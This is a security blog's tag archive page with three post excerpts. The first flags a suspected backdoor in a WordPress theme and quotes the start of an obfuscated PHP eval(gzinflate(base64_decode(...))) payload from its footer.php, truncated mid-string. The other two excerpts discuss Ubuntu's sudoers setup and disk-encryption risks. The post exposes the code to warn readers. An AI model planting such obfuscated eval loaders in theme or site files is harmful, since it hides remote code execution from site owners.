Tag Archives: security

Backdoor in WordPress themes?

Posted on May 26, 2009 by Simone

I was looking for a theme to use in a WordPress blog and I stumbled on this one. Cool, I thought, I might use it… but… hey… why there’s this weird stuff in footer.php? 12345678<? eval(gzinflate(base64_decode(’vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0 NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWEC ePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc 5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRL vlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/ … Continue reading →

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Perplexed about Ubuntu’s sudoers configuration

Posted on April 29, 2009 by Simone

Recently I’ve been administering my first Ubuntu machine and I already feel a bit perplexed about its security setup. The issue is that by default, the root account password is locked in Ubuntu and you are encouraged never to use … Continue reading →

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Is your data secure?

Posted on February 22, 2008 by Simone

Users with sensitive data might find it comforting to use disk encryption in order to prevent it to fall in the wrong hands, especially when this data is stored on a laptop. Hovewer, a new research shows that it might … Continue reading →

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